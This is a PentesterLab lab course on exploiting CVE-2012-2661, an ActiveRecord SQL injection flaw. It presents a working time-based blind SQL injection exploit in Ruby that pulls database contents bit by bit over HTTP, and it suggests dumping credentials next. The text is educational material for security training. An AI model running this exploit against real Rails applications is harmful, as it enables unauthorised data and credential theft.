CVE-2012-2661: ActiveRecord SQL Injection
CVE-2012-2661: ActiveRecord SQL Injection
CVE-2012-2661: ActiveRecord SQL Injection
2 4 5
5 5 6
Some details
Timeline The bug
8
8 8
10
10 11 13 16
24 29
2/29
3/29
Introduction
This course details the exploitation of the ActiveRecord SQL injection bug (CVE-20122661) and how an attacker can dump information from the database using this issue. This vulnerability is hard to exploit and we will see how it can be done. More than just an how to use the exploit, this exercise should be seen as a general way to approach a vulnerability and to get from a bug to an exploit.
4/29
License
5/29
This exercise by PentesterLab is licensed under the Creative Commons AttributionNonCommercial-NoDerivs 3.0 Unported License. To view a copy of this license, visit http://creativecommons.org/licenses/by-nc-nd/3.0/.
In this example the IP address is 10.0.2.15. Throughout the training, the hostname vulnerable is used for the vulnerable machine, you can either replace it by the IP address of the machine, or you can just add an entry to your host file with this name and the corresponding IP address. It can be easily done by modifying: on Windows, your C:\Windows\System32\Drivers\etc\hosts file; on Unix/Linux and Mac OS X, your /etc/hosts file. The IP address can change if you restart the system, don't forget to update your hosts file.
7/29
Some details
Timeline
This bug was initially discovered by Ben Murphy and reported Aaron Patterson on the google group Ruby on Rails: Security (you probably want to follow this mailing list if you have Ruby On Rails applications) on the first of June 2012.
The bug
The bug comes from an error on how ActiveRecord handles parameter. Where the normal usage of ActiveRecord looks like:
8/29
> User.where(:id => 1).all => [#<User id: 1, login: "admin", password: "8efe310f9ab3efeae8d410a8e0166eb2", email: "admin@", info: "wrong email address">]
The code above is harmless but it's possible to build a custom hash that will allow us to dump information from the database and we will see how we can do it.
9/29
# Include the vulnerable library require 'active_record' # Connect to the database ActiveRecord::Base.establish_connection( :adapter => "mysql2", :host => "localhost", :username => "pentesterlab", :password => "pentesterlab", :database => "pentesterlab" ) # Create a dummy class to map the users' table class User < ActiveRecord::Base end # Start a Ruby shell require 'irb' IRB.start()
Poking around
If we start pocking around, we can understand what happens with our parameter: a normal call looks like this:
11/29
> User.where(:id =>1).all => [#<User id: 1, login: "admin", password: "8efe310f9ab3efeae8d410a8e0166eb2", email: "admin@", info: "wrong email address">]
we can this that the following code return the same thing (since users is the table name):
> User.where(:id => {'users.id' => 1} ).all => [#<User id: 1, login: "admin", password: "8efe310f9ab3efeae8d410a8e0166eb2", email: "admin@", info: "wrong email address">]
The main problem is that everything seems to be correctly encoded and handled:
12/29
We can see that the ' ' is copied in the SQL statement
The back tick is replaced by three back ticks, we can't break out of the query using this.
The back tick is replaced by three back ticks, we can't break out of the query using this.
We can see that the query in the error message is completely different and we get the following error: "Access denied for user 'pentesterlab'@'localhost'", w By using a default Mysql database and by commenting out the end of the statement, the first request works properly. We now have an error in the second request, so we know that we can inject in the first request.
Now, we know how to send a correct statement and inject in the first request performed.
13/29
But, the only thing we will see is an error message, so we will need to use time-based SQL injection. We are going to use the function sleep to slow down the response. So for example, we are going to slow down the response, if and only if the return value is false:
SHOW TABLES FROM information_schema where [return value] or sleep(1)
In the example above, 2 things can happen: if [return value] is true, the statement or sleep(1) will not be ran because MySQL knows that true or true is always true, so MySQL will optimise it and return true without running sleep(1) if [return value] is false, the statement or sleep(1) will be ran because MySQL needs to know the return value of this statement to know if false or [something] is true. As a consequence, the response to this query will be slow down. We have now two different responses based on our injection:
14/29
a slow response when the condition is false; a normal response when the condition is true. If we put this request back in our Ruby shell, we can see that the following code will take longer to run:
> User.where(:id => {'information_schema where (select 0) or sleep(1) ; -- .user' => {'id' => '1'}}).all
The difference between these two requests is the select 0 (for false) and select 1 (for true). One of the thing you need to remember during the testing is that ActiveRecord caches and won't run two times the statement used to get information about a table. We need to make sure every request is unique. To do that there it is possible to put a random number of spaces inside the request however randomness doesn't imply uniqueness. A better solution is to use the current time to make sure of the uniqueness of the request. We can add this value in a SQL comment to make sure it won't change the syntax of our SQL statement:
15/29
> User.where(:id => {'information_schema where (select 0) or sleep(1/10) /*'+Time.now.to_f.to_s+'*/; -- .user' => {'id' => '1'}}).all
The /*'+Time.now.to_f.to_s+'*/ is used here to dynamically inject the time inside a SQL comment. This will prevent any caching done by ActiveRecord. You can now happily run two times the same request and get the expected result: the slow request stays slow.
Automation
We will now automate the local exploitation, to do that we will create a function test that will return true or false based on how long the request takes. Since we don't want the script to crash, we need to catch the exception create by ActiveRecord:
def test(sql) begin t = Time.now User.where(:id => {'information_schema where ('+sql+') or sleep(1/10) /*'+Time.now.to_f.to_s+'*/; -- .user' => {'id' => '1'}}).all rescue ActiveRecord::StatementInvalid return Time.now - t < 1 end end
16/29
Now that we have this function written, we can test it using select 0 and select 1 to make sure everything is working smoothly:
puts "test('select 0') returns #{ test('select 0')} " puts "test('select 1') returns #{ test('select 1')} "
Now, we are back to the exploitation of a traditional blind SQL injection, we have 2 states (true and false) and based on this, we are going to retrieve information. Here we want to retrieve the version of the database select @@version. To do this, we will need to dump each byte of the each character of the result of the query select @@version. Let say that the version is 5.0.4, we will need to select all characters of this string, one after each other using the SQL function substring.
Statement `substring('5.0.4',1,1)` `substring('5.0.4',2,1)` `substring('5.0.4',3,1)` `substring('5.0.4',1,3)` Result `5` `.` `0` `5.0`
17/29
Since we know how to extract each letter (byte), we will now need to extract each bit of each byte. Let see how we can do that with the value 5. First we need to get the ASCII value of 5 using the MySQL function ascii:
mysql> SELECT ascii('5'); +----------+ | ascii(5) | +----------+ | 53 | +----------+
Now we need to retrieve each bit of this value 53 can be represented by the binary value 00110101. We will now use bit masking to isolate each bit from the others. After isolating and retrieving each bit, we will be able to rebuild the value on the attacker side. First, let's remember how & works:
&
0 1 0 0 0 1 0 1
We will use these properties to isolate each bit of information. We can isolate the first bit by using &1:
18/29
The returned value for the first bit is 1. This value will generate a true state and the response will be quick. The & is used for the masking and 1 is used to select the first bit. As a side note: 2^0 is equal to 1. We can then move to the second bit by using &2 (2^1 is equal to 2):
19/29
The returned value for the second bit is 0, the 0 will generate a false state and the response will be delayed. And we can keep going and get the third bit using &4 (2^2 is equal to 4):
20/29
The returned value for the first bit is 4. The value 4 will generate a true state and the response will be quick. And we can keep going to dump all the bits of the first letter. For each bit, you will need to add the value to a variable that will contain the letter you want after you retrieved all the bits. Now we can put everything together in 2 loops, one for each character and one for each bit of the current character:
21/29
inj = "select @@version" str = "" # dummy initialisation for the while loop value = 1 i=0 # we loop until the returned value is null while value != 0 # i is the position in the string i+=1 # initialise to 0 the value we are trying to retrieve value = 0 # for each bit 0.upto(6) do |bit| # 2**bit is 2^bit and will do all the bit masking work sql = "select ascii(substring((#{ inj} ),#{ i} ,1))&#{ 2**bit } " if test(sql) # if the returned value is true # we add the mask to the current_value value+=2**bit end end # value is an ascii value, we get the corresponding character # using the `.chr` ruby function str+= value.chr puts str end
22/29
23/29
Now we need to translate our full payload to HTTP, as a reminder the original slow query looks like:
:id => {'information_schema where (select 0) or sleep(1/10) /*1338976181.408279*/ ; -- .user' => {'id' => '1'}}
Now we need to encode all the specials characters: ';' needs to be encoded, we can use '%3b'; '&' needs to be encoded, we can use '%26'; '=' needs to be encoded, we can use '%3d'; ' ' needs to be encoded, we can use '+' or '%20'. When doing the move to HTTP, if you don't get the expected results, there is a huge chance that you didn't encoded something correctly. To perform all this changes, we just need to modify the test function to add the HTTP component:
25/29
26/29
require 'net/http' def test(sql) begin t = Time.now # encoding of the hash inj = "?id[information_schema%20where%20+(" # modifying the sql statement to remove encoded special characters inj += sql.gsub(' ','+').gsub('&', "%26").gsub('=','%3d') # adding the magic sleep statement inj += ")+or+sleep(1/10)%20" # make sure ';' is encoded to %3b inj += "/*"+Time.now.to_f.to_s.gsub('.','')+"*/%3b%20--%20.user][1]=1" # all the HTTP related code: create the URL and do the request uri = URI.parse("http://vulnerable/"+inj) http = Net::HTTP.new(uri.host, uri.port) begin response = http.request(Net::HTTP::Get.new(uri.request_uri)) response = Net::HTTP.get_response(uri) # rescue in case of error # likely to happen with time based exploitation rescue Errno::ECONNRESET, EOFError
27/29
end # we return the time taken by the request return Time.now - t < 1 end end
If you're testing it on a website on Internet, you will probably need to adjust the line return Time.now - t < 1 to reflect the network latency.
28/29
Conclusion
This exercise showed you how to exploit the bug ActiveRecord SQL Injection (aka CVE-2012-2661). I hope the course provides you with more details on how this vulnerability works and how you can get a working exploit. You can use Talkback to get updates on the vulnerability: http://talkback.volvent.org/cgi-bin/view_vuln.cgi? id=CVE-2012-2661. To go further, you can start dumping the credentials available in the database.
29/29